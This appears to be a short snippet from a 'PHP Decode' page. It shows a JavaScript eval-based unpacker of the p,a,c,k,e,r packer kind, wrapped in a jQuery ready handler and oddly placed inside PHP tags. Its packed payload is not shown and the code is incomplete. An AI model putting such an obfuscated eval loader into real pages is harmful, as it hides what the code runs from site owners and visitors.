PHP Decode

<?  $(document).ready(function () { 
  eval(function (p, a, c, k, e, r) { 
    e = function (c) { 
      return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)); 
    }; 
    if (!''.replace(/^/, String)) { 
      while (c--) { 
        r[e(c)] = k[c] || e(c); 
      } 
      k = [function (e) { 
        return r[e]; 
      }]; 
      e = function () { 
        return "\w+"; 
      }; 
      c = 1; 
    } 
    ; 
    while (c--) { 
      if (k[c]) { 
        p = p.replace(new RegExp("\b" + e(c) + "\b", 'g'), k[c]); 
      } 
    } 
    return p; 
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}); ?>